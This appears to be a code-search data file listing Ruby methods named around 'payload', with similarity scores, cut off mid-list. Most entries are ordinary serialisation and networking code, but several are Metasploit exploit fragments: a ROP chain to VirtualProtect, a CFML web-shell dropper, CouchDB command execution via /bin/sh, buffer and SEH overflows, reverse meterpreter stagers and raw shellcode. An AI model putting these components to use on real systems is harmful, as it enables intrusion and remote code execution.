"def get_payload(t)\n\t\t# chain generated by mona.py - See corelan.be\n\t\tcase t['Rop']\n\t\twhen :msvcrt\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\t0x77c11120, # <- *&VirtualProtect()\n\t\t\t\t0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n\t\t\t\tjunk,\n\t\t\t\t0x77c2dd6c,\n\t\t\t\t0x77c4ec00, # POP EBP # RETN\n\t\t\t\t0x77c35459, # ptr to 'push esp # ret'\n\t\t\t\t0x77c47705, # POP EBX # RETN\n\t\t\t\t0x00000800, # <- change size to mark as executable if needed (-> ebx)\n\t\t\t\t0x77c3ea01, # POP ECX # RETN\n\t\t\t\t0x77c5d000, # W pointer (lpOldProtect) (-> ecx)\n\t\t\t\t0x77c46100, # POP EDI # RETN\n\t\t\t\t0x77c46101, # ROP NOP (-> edi)\n\t\t\t\t0x77c4d680, # POP EDX # RETN\n\t\t\t\t0x00000040, # newProtect (0x40) (-> edx)\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\tnop, # NOPS (-> eax)\n\t\t\t\t0x77c12df9, # PUSHAD # RETN\n\t\t\t].pack(\"V*\")\n\n\t\twhen :jre\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN\n\t\t\t\t0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)\n\t\t\t\t0x7c347f98, # RETN (ROP NOP)\n\t\t\t\t0x7c3415a2, # JMP [EAX]\n\t\t\t\t0xffffffff,\n\t\t\t\t0x7c376402, # skip 4 bytes\n\t\t\t\t0x7c351e05, # NEG EAX # RETN\n\t\t\t\t0x7c345255, # INC EBX # FPATAN # RETN\n\t\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN\n\t\t\t\t0x7c344f87, # POP EDX # RETN\n\t\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\n\t\t\t\t0x7c351eb1, # NEG EDX # RETN\n\t\t\t\t0x7c34d201, # POP ECX # RETN\n\t\t\t\t0x7c38b001, # &Writable location\n\t\t\t\t0x7c347f97, # POP EAX # RETN\n\t\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\n\t\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN\n\t\t\t\t0x7c345c30, # ptr to 'push esp # ret '\n\t\t\t].pack(\"V*\")\n\t\tend\n\n\t\tcode = rop\n\t\tcode << make_nops(38)\n\t\tcode << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+0x6\").encode_string # instr length: 2 bytes\n\t\tcode << [t.ret].pack(\"V\") # Stack Pivot\n\t\tcode << payload.encoded\n\n\t\treturn code\n\tend",
"def generate_payload_type\n payload_class = super\n payload_class.mutation(self)\n payload_class\n end",
"def gen_file_dropper\r\n rand_var = rand_text_alpha(8+rand(8))\r\n rand_file = rand_text_alpha(8+rand(8))\r\n\r\n if datastore['TARGET'] == 0\r\n rand_file += \".exe\"\r\n end\r\n\r\n encoded_pl = Rex::Text.encode_base64(generate_payload_exe)\r\n\r\n print_status \"Building CFML shell...\"\r\n #embed payload\r\n shell = \"\"\r\n shell += \" <cfset #{rand_var} = ToBinary( \\\"#{encoded_pl}\\\" ) />\"\r\n shell += \" <cffile action=\\\"write\\\" output=\\\"##{rand_var}#\\\"\"\r\n shell += \" file= \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\\\"\"\r\n #if linux set correct permissions\r\n if datastore['TARGET'] == 1\r\n shell += \" mode = \\\"700\\\"\"\r\n end\r\n shell += \"/>\"\r\n #clean up our evil .cfm\r\n shell += \" <cffile action=\\\"delete\\\"\"\r\n shell += \" file= \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\\\"/\\\")#\\\"/>\"\r\n #execute our payload!\r\n shell += \" <cfexecute\"\r\n shell += \" name = \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\\\"\"\r\n shell += \" arguments = \\\"\\\"\"\r\n shell += \" timeout = \\\"60\\\"/>\"\r\n\r\n return shell\r\n end",
"def payload\n {:id => id, :body => body, :origin => origin, :original_id => original_id}\n end",
"def inject_payload(my_payload)\r\n\r\n\t\tbuf = ''\r\n\t\tbuf << \"\\x01\\x00\\x34\\x12\"\r\n\t\tbuf << \"\\x0D\" #Opcode\r\n\t\tbuf << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Flag\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Command (ListAll)\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << my_payload\r\n\t\tbuf << Rex::Text.rand_text_alpha(1024-my_payload.length)\r\n\t\tbuf << \"\\x00\"*130\r\n\r\n\t\t#Packet size\r\n\t\tbuf_size = [buf.length + 2].pack('v')\r\n\t\tbuf = buf_size + buf\r\n\r\n\t\tconnect\r\n\r\n\t\tsock.put(buf)\r\n\t\tprint_status(\"Injecting payload in memory to #{datastore['RHOST']}\")\r\n\r\n\t\tdisconnect\r\n\tend",
"def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end",
"def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end",
"def payload\n # TODO(sissel): Handle massive payload lengths without exceeding memory.\n # Perhaps if the payload is large (say, larger than 500KB by default),\n # instead of returning the whole thing, simply return an Enumerable that\n # yields chunks of the payload. There's no reason to buffer the entire\n # thing. Have the consumer of this library make that decision.\n data = get(@need)\n transition(:flags_and_opcode, 1)\n if @masked\n return unmask(data, @mask)\n else\n return data\n end\n end",
"def gen_packet type, payload\n length = payload.size\n number = Thread.current[:number]\n Thread.current[:number] = number + 1\n \"@ABCD\" + [type,length,number].pack('CS>I>').force_encoding(ENCODING) + payload\nend",
"def m_delete\n a = source \"a\"\n sink a.delete(\"b\") # $ hasTaintFlow=a\n sink a.delete_prefix(\"b\") # $ hasTaintFlow=a\n sink a.delete_suffix(\"b\") # $ hasTaintFlow=a\nend",
"def delete_card(payload)\n puts \"Payload is triggered by '#delete_card' =>\"\n p payload\n end",
"def payload\n # Get the original challenge to figure out the stuff to be deleted.\n # We are re-requesting the original challenge instead of tracking which\n # entries are to be deleted client-side to minimize race conditions. Race\n # conditions aren't totally eliminated, but the window is largely smaller\n # in this case. Plus the logic is much simpler too :)\n\n # do not pass values that are not being fetched from sfdc. will overwrite with null\n\n @json_payload = {\n challenge: {\n detail: {\n account: account,\n contact: contact,\n winner_announced: winner_announced,\n terms_of_service: terms_of_service,\n scorecard_type: scorecard_type,\n submission_details: submission_details,\n status: status,\n start_date: start_date_for_payload,\n requirements: requirements,\n name: name,\n end_date: end_date_for_payload,\n description: description,\n comments: comments,\n additional_info: additional_info,\n challenge_type: challenge_type,\n community_judging: community_judging,\n auto_announce_winners: auto_announce_winners,\n community: community,\n community_judging: community_judging,\n auto_announce_winners: auto_announce_winners,\n cmc_task: cmc_task,\n challenge_id: challenge_id,\n post_reg_info: post_reg_info,\n require_registration: require_registration\n },\n reviewers: reviewers.map {|name| {name: name}}, # not being updated in sfdc\n platforms: platforms.map {|name| {name: name}},\n technologies: technologies.map {|name| {name: name}},\n prizes: prizes,\n commentNotifiers: commentNotifiers.map {|name| {name: name}}, # not being updated in sfdc\n assets: assets.map {|filename| {filename: filename}},\n }\n }\n \n remove_nil_keys # remove keys if they are nil so we don't overwrite in sfdc\n\n @json_payload\n end",
"def read_payload\n ascii_str = File.read(\"/dev/urandom\", @bytes_to_read)\n utf8_str = ascii_to_utf8(ascii_str)\n formatted_str = format_string(utf8_str)\n @payload = formatted_str\n end",
"def create_payload(name, lhost, lport, opts = \"\")\n\n pay = client.framework.payloads.create(name)\n pay.datastore['LHOST'] = lhost\n pay.datastore['LPORT'] = lport\n pay.datastore['EXITFUNC'] = 'thread'\n pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler\n\n\n if not opts.blank?\n opts.split(\",\").each do |o|\n opt,val = o.split(\"=\",2)\n pay.datastore[opt] = val\n end\n end\n # Validate the options for the module\n pay.options.validate(pay.datastore)\n return pay\n end",
"def payload\n @payload ||= (super || self.class.payload(@uuid))\n end",
"def exploit\n connect_udp\n sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)\n sploit << [target.ret].pack('V')\n sploit << make_nops(16)\n sploit << payload.encoded\n udp_sock.put(sploit)\n handler\t\n disconnect_udp\t\t\n end",
"def general_payload\n payload = Hash.new\n payload['PayloadVersion'] = 1 # do not modify\n payload['PayloadUUID'] = UUIDTools::UUID.random_create().to_s # should be unique\n\n # string that show up in UI, customisable\n payload['PayloadOrganization'] = \"ACME Inc.\"\n payload\nend",
"def to_payload\n payload = \"\"\n tx_in_wit.each{|w|payload << w.to_payload}\n payload\n end",
"def payload\n BSON::Document.new(\n command_name: 'killCursors',\n database_name: @database,\n command: upconverter.command,\n request_id: request_id,\n )\n end",
"def exploit\n connect\n\n # send plain payload\n buf = payload.encoded\n\n #print_status(\"payload space #{payload_space()}...\")\n print_status(\"payload len #{payload.encoded.length}...\")\n print_status(\"total buf len #{buf.length}...\")\n# print_status(\"Trying target #{target.name}...\")\n\n sock.put(buf)\n\n #cleanup\n handler\n disconnect\n end",
"def b_rdt_send message\n puts 'B Sending Data Unreliably...'\n packet = Packet.new\n packet.payload = message.data\n b_udt_send packet\nend",
"def new_payload(parsed_params, identifier)\n Payload.new(\n source_id: Source.find_by(identifier: @identifier).id,\n url_id: Url.find_or_create_by(url: parsed_params[:url], relative_path: URI(parsed_params[:url]).path).id,\n requested_at: parsed_params[:requested_at],\n responded_in: parsed_params[:responded_in],\n referred_by_id: Referrer.find_or_create_by(referred_by_url: parsed_params[:referred_by]).id,\n request_type_id: RequestType.find_or_create_by(request_type: parsed_params[:request_type]).id,\n parameters: parsed_params[:parameters],\n event_name_id: EventName.find_or_create_by(event_name: parsed_params[:event_name]).id,\n user_agent_id: TrafficSpy::UserAgent.find_or_create_by(web_browser: parsed_params[:user_agent]).id,\n screen_resolution_id: ScreenResolution.find_or_create_by(resolution_width: parsed_params[:resolution_width], resolution_height: parsed_params[:resolution_height]).id,\n ip: parsed_params[:ip]\n )\n end",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def gen_washing\r\r\n end",
"def decode(payload)\n map45_chars(payload).each_slice(3).flat_map do |c, d, e|\n c && d or raise ForbiddenLengthError\n v = c + d * 45\n bytes_from_base45(e, v)\n end.pack(\"C*\")\n end",
"def fix!\n newpayload = @options.join\n \n # pad to a multiple of 32 bits\n if (newpayload.length % 4 != 0) \n # fill the beginning as needed with NOPs\n while (newpayload.length % 4 != 3)\n newpayload = \"\\x01#{newpayload}\"\n end\n\n # make sure the last byte is an EOL\n if (newpayload.length % 4 == 3)\n newpayload += \"\\x00\"\n end\n end\n\n self.payload = newpayload + self.payload\n self.hlen += newpayload.length/4\n self.len = self.payload.length + self.class.bit_length/8\n self.checksum!\n end",
"def send_packet(payload); end",
"def invoke_drop(key); end",
"def prepare!(payload)\n @payload.merge!(payload)\n self\n end",
"def prepare!(payload)\n @payload.merge!(payload)\n self\n end",
"def cleanup!\n input.drop\n output.drop\n end",
"def payload\n self.update(:payload)\n @payload\n end",
"def create_payload(payload_type,lhost,lport)\n\tprint_status(\"Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}\")\n\tpayload = payload_type\n\tpay = client.framework.payloads.create(payload)\n\tpay.datastore['LHOST'] = lhost\n\tpay.datastore['LPORT'] = lport\n\treturn pay\nend",
"def generate_stage\n\t\tcmd = datastore['CMD'] || ''\n\t\tpayload =\n\t\t\t\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\" +\n\t\t\t\"\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\" +\n\t\t\tRex::Arch::X86.call(cmd.length + 1) + cmd + \"\\x00\" +\n\t\t\t\"\\x57\\x53\\x89\\xe1\\xcd\\x80\"\n\tend",
"def payload; message[:payload]; end",
"def payload_for_reverted\n super\n end",
"def process\n demarshal\n end",
"def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n unless buffer.empty?\n raise ExtraBytesError, \"at end of Publish Release packet\"\n end\n end",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def create_payload(payload_type,lhost,lport)\n print_status(\"Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}\")\n payload = payload_type\n pay = client.framework.payloads.create(payload)\n pay.datastore['LHOST'] = lhost\n pay.datastore['LPORT'] = lport\n return pay\n end",
"def detached_payload_stub(code)\r\n %Q^\r\n code = '#{ Rex::Text.encode_base64(code) }'.unpack(\"m0\").first\r\n if RUBY_PLATFORM =~ /mswin|mingw|win32/\r\n inp = IO.popen(\"ruby\", \"wb\") rescue nil\r\n if inp\r\n inp.write(code)\r\n inp.close\r\n end\r\n else\r\n Kernel.fork do\r\n eval(code)\r\n end\r\n end\r\n {}\r\n ^.strip.split(/\\n/).map{|line| line.strip}.join(\"\\n\")\r\n end",
"def payload\n @payload[0] if @payload\n end",
"def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end",
"def droby_dump(dest)\n\t DRoby.new(propagation_id, time, Distributed.format(generator, dest), Distributed.format(context, dest))\n\tend",
"def wipe\n scope.output.call(scope.template.wipe)\n end",
"def generate_simple(opts, &block)\n Msf::Simple::Payload.generate_simple(self, opts, &block)\n end",
"def to_payload(payload = nil)\n return {} if payload.nil?\n return {} if payload.respond_to?(:empty?) && payload.empty?\n\n # TODO: refactor this, don't update a hash that's not ours\n payload.update params: MultiJson.dump(payload[:params])\n payload.update signature: signature(payload[:params])\n payload.delete :signature if payload[:signature].nil?\n payload\n end",
"def to_maql_drop\n maql = \"\"\n [ attributes, facts ].each do |obj|\n maql += obj.to_maql_drop\n end\n maql += \"DROP {#{self.identifier}};\\n\"\n end",
"def release(payload, password)\n part = payload.split('-')\n\n level1 = decrypt(Base64.decode64(part[0]), @request[:secret], part[1])\n decrypt(level1, Digest::MD5.hexdigest(password), part[1])\n end",
"def ropstack_gen(ropstack)\n counter_pointers = 0\n counter_junk = 0\n\n ropstack.map! { |elt|\n if elt == 'JUNK'\n counter_junk += 1\n rand_text_alpha_lower(4).unpack('V').first\n # rand(0xffffffff) | 0x01010101\n else\n counter_pointers += 1\n # print_status('elt: \"' << elt.to_s << '\"')\n elt\n end\n }\n\n ropstack = ropstack.pack('V*')\n\n return [ropstack,counter_pointers,counter_junk]\n end",
"def generate_migrate_payload(target_process)\n case client.platform\n when 'windows'\n blob = generate_migrate_windows_payload(target_process)\n else\n raise RuntimeError, \"Unsupported platform '#{client.platform}'\"\n end\n\n blob\n end",
"def payload\n @payload\n end",
"def rm_create path, entity, data, msg\n\n rmp = nil\n re = rm_request path, entity => data\n chk (re.code!='201'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend",
"def decrypted_payload\n EncryptionService.new.decrypt(payload).to_h\n end",
"def drop_records\n @registration_count = Registration.dump_records\n @payment_count = Payment.dump_records\n sleep(5)\n end",
"def destroy\n @payload.destroy\n respond_to do |format|\n format.html { redirect_to payloads_url, notice: 'Payload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create_ingestion_workflow_payload(params={})\n params[:uuid] ||= Config::Constants::ASSET_UUID\n params[:path] ||= Config::Constants::ASSET_PATH\n params[:title] ||= Config::Constants::ASSET_TITLE\n params[:url] ||= Config::Constants::ASSET_URL + params[:uuid] + '/'\n\n\n {\n 'definitionId': Config::Constants::INGESTION_WORKFLOW_METADATA_ID,\n 'stringVariables': {\n 'assetMetadata': '{ \"clip-type\":\"http://api.ft.com/things/a0e8ca2e-03b4-4321-9b50-4a85b38298cd\",'\\\n'\"clip-description\": \"10 Seconds\", \"location\":\"http://sws.geonames.org/6619890/\",'\\\n'\"interviewee\": \"Jem Rayfield\",\"office\": \"http://api.ft.com/things/a29a5f4f-b4ff-46f7-b597-a30437783e1e\",'\\\n'\"producer\": \"http://api.ft.com/things/a4fda01e-dd90-490b-a7be-7c74eafd3884\",\"freelance-producer\": \"James Condron\",'\\\n'\"reporter-1\": \"Darren Bown\", \"reporter-2\":\"Dario Villanueva\",\"reporter-3\":\"Jon Best\", \"restrictions\": '\\\n'\"true\", \"restriction-description\":\"Sensitive Video....classified top secret\"}',\n 'project-thing-url': params[:url],\n 'projectUUID': params[:uuid],\n 'assetS3Path': params[:path],\n 'assetTitle': params[:title]\n }\n }\n end",
"def pump #:nodoc:\n len = @buffer.length\n len4 = len - (len % 4)\n @pump_proc.call( Base64.decode64 @buffer[0...len4] ) if len4 > 0\n @buffer = @buffer[len4..-1]\n end",
"def dissamble_packet(packet)\n packet_bytes = packet.bytes.to_a\n # debugger\n @thermo_address = packet_bytes[0] & 0b01111111\n @host_or_reply = packet_bytes[0][7]\n @message_type = packet_bytes[1] & 0b1111\n @data_length = (packet_bytes[1] & 0b11110000) / 0b10000\n @data = packet[2,@data_length]\n @checksum = packet[packet.length-1]\n @valid = validate_packet(packet)\n end",
"def payload\n self[0...-SIGNATURE_LENGTH]\n end",
"def drop( gobject )\r\n\t\t\t@contents -= [ gobject ]\r\n\t\tend",
"def generateUnmapAirport(times_to_gen, genRandom)\n\n\txml_result = \"\"\n\ttimes_to_gen.times {\n\n\t\t# generating random or custom values\n\t\tif (genRandom)\n\t\t\tairportToDelete = $airports[rand($airports.length)]\n\t\telse\n\t\t\tprint(\"\\nEnter an airport to unmap: \")\n\t\t\tairportToDelete = $stdin.readline.chomp\n\t\tend\n\n\t\txml_result += \"\\n<unmapAirport id=\\\"9\\\" name=\\\"#{airportToDelete}\\\" />\" \n\t\t$airports.delete(airportToDelete)\n\n\t}\n\n\treturn xml_result\n\nend",
"def payload_data\n case @config.format\n when :json\n @payload.to_json\n when :yaml\n @payload.to_yaml\n else\n @payload.to_hash\n end\n end",
"def enqueue_packet(payload); end",
"def parse_body(buffer)\n super(buffer)\n @topic = shift_string(buffer)\n @id = shift_short(buffer) unless qos.zero?\n @payload = buffer\n end",
"def generate; end",
"def generate; end",
"def exploit\n\t\tconnect\n\n\t\tprint_status(\"Sending #{payload.encoded.length} byte payload...\")\n\n\t\t# Build the buffer for transmission\n\t\tbuf = \"A\" * 1024\n\t\tbuf += [ target.ret ].pack('V')\n\t\tbuf += payload.encoded\n\n\t\t# Send it off\n\t\tsock.put(buf)\n\t\tsock.get\n\n\t\thandler\n\tend",
"def generate(frame)\n bytes = Buffer.new\n length = 0\n\n frame[:flags] ||= []\n frame[:stream] ||= 0\n\n case frame[:type]\n when :data\n bytes << frame[:payload]\n length += frame[:payload].bytesize\n\n when :headers\n if frame[:priority]\n frame[:flags] += [:priority] if !frame[:flags].include? :priority\n end\n\n if frame[:flags].include? :priority\n bytes << [frame[:priority] & RBIT].pack(UINT32)\n length += 4\n end\n\n bytes << frame[:payload]\n length += frame[:payload].bytesize\n\n when :priority\n bytes << [frame[:priority] & RBIT].pack(UINT32)\n length += 4\n\n when :rst_stream\n bytes << pack_error(frame[:error])\n length += 4\n\n when :settings\n if frame[:stream] != 0\n raise CompressionError.new(\"Invalid stream ID (#{frame[:stream]})\")\n end\n\n frame[:payload].each do |(k,v)|\n if !k.is_a? Integer\n k = DEFINED_SETTINGS[k]\n\n if k.nil?\n raise CompressionError.new(\"Unknown settings ID for #{k}\")\n end\n end\n\n bytes << [k & RBYTE].pack(UINT32)\n bytes << [v].pack(UINT32)\n length += 8\n end\n\n when :push_promise\n bytes << [frame[:promise_stream] & RBIT].pack(UINT32)\n bytes << frame[:payload]\n length += 4 + frame[:payload].bytesize\n\n when :ping\n if frame[:payload].bytesize != 8\n raise CompressionError.new(\"Invalid payload size \\\n (#{frame[:payload].size} != 8 bytes)\")\n end\n bytes << frame[:payload]\n length += 8\n\n when :goaway\n bytes << [frame[:last_stream] & RBIT].pack(UINT32)\n bytes << pack_error(frame[:error])\n length += 8\n\n if frame[:payload]\n bytes << frame[:payload]\n length += frame[:payload].bytesize\n end\n\n when :window_update\n bytes << [frame[:increment] & RBIT].pack(UINT32)\n length += 4\n\n when :continuation\n bytes << frame[:payload]\n length += frame[:payload].bytesize\n end\n\n frame[:length] = length\n bytes.prepend(commonHeader(frame))\n end",
"def drop\n cmd = 'aptly publish drop'\n cmd += \" #{@dist.quote}\"\n cmd += \" #{@prefix.quote}\" if [email protected]?\n\n Aptly::runcmd cmd\n end",
"def build_analytics_events_payload\n events = []\n 1000.times do\n event = {\n 'timestamp' => Process.clock_gettime(Process::CLOCK_REALTIME),\n 'name' => +'Controller/foo/bar',\n 'type' => +'Transaction',\n 'duration' => rand,\n 'databaseDuration' => rand,\n 'databaseCallCount' => rand,\n 'gcCumulative' => rand,\n 'host' => +'lo-calhost',\n 'color' => +'blue-green',\n 'shape' => +'squarish',\n 'texture' => +'sort of lumpy like a bag of frozen peas'\n }\n events << [event, {}]\n end\n [rand(1000000), events]\n end",
"def bypass(payload)\n payload.gsub(/1{5}/, \"111110\")\n end",
"def payload\n @payload ||= JSON.parse(fields[\"payload\"])\n end",
"def populate_from_payload(payload)\n @request = payload[MockServer::HTTP_REQUEST]\n @request = Request.new(symbolize_keys(@request)) if @request\n\n @response = payload[MockServer::HTTP_RESPONSE]\n @response = Response.new(symbolize_keys(@response)) if @response\n\n @forward = payload[MockServer::HTTP_FORWARD]\n @forward = Forward.new(symbolize_keys(@forward)) if @forward\n\n @times = payload[MockServer::HTTP_TIMES]\n @times = Times.new(symbolize_keys(@times)) if @times\n end",
"def transit_to_generating\n if input = @generator.generate\n @inputs << input\n # log\n log do |msg|\n msg.add_record(agent_type, \"action\", \"generate_input_data\")\n msg.add_record(agent_type, \"uuid\", uuid)\n msg.add_record(agent_type, \"object\", input.name)\n end\n # upload the file\n input_uri = @base_uri + File.join(\"input\", input.name)\n Resource[input_uri].create(Resource[input.uri].read)\n # make the tuple\n write(Tuple[:data].new(DOMAIN, input.name, input_uri, input.time))\n end\n end",
"def decompress(payload)\n Zlib::Inflate.inflate(payload)\n\n # Keeping compatibility for old encoded tokens\n rescue Zlib::DataError\n inflate = Zlib::Inflate.new(-Zlib::MAX_WBITS)\n inflate.inflate(payload)\n end",
"def delete_message(data); end",
"def delete_message(data); end",
"def generate_input\n @memory.each do |k, v| \n if v.length == 2\n puts \"#{v[0]}, #{v[1]} were popped from memory\"\n return @memory.delete(k) \n end\n end\n nil\n end",
"def input(payload)\n payload.each { |k,v| payload[k] = v.to_s}\n @lock.synchronize do\n @buffer.push(payload)\n if @buffer.size >= @buffer_size\n flush\n end\n end\n\n nil\n end",
"def payload(data = nil)\n if data\n self.class.new(id, @payload.merge(data))\n else\n @payload\n end\n end",
"def slice_up_payload(encoded, opts)\n encoded_dup = encoded.dup\n\n parts = []\n xtra_len = opts[:extra]\n xtra_len ||= 0\n while (encoded_dup.length > 0)\n temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))\n # cut the end of the part until we reach the start\n # of a full byte representation \"\\\\xYZ\" or \"\\\\YZX\"\n temp = fix_last_byte(temp, opts, encoded_dup)\n parts << temp\n encoded_dup.slice!(0, temp.length)\n end\n\n parts\n end",
"def exploit\n seh = generate_seh_payload(target.ret)\n filepls = \"[playlist]\\n\"\n filepls += \"NumberOfEntries=1\\n\\n\"\n filepls += \"File1=\" \n filepls += \"A\" * target['BufSize']\n #filepls += [target.ret].pack('V') + payload.encoded + \"C\" * 1000\n filepls += seh + rand_text_alpha_upper(1000) #payload.encoded + \"C\" * 1000\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(filepls)\n\tend",
"def purge!\n @data = nil\n end",
"def purge!\n @data = nil\n end"
] | [
"0.6454642",
"0.6059785",
"0.6011976",
"0.5849499",
"0.578041",
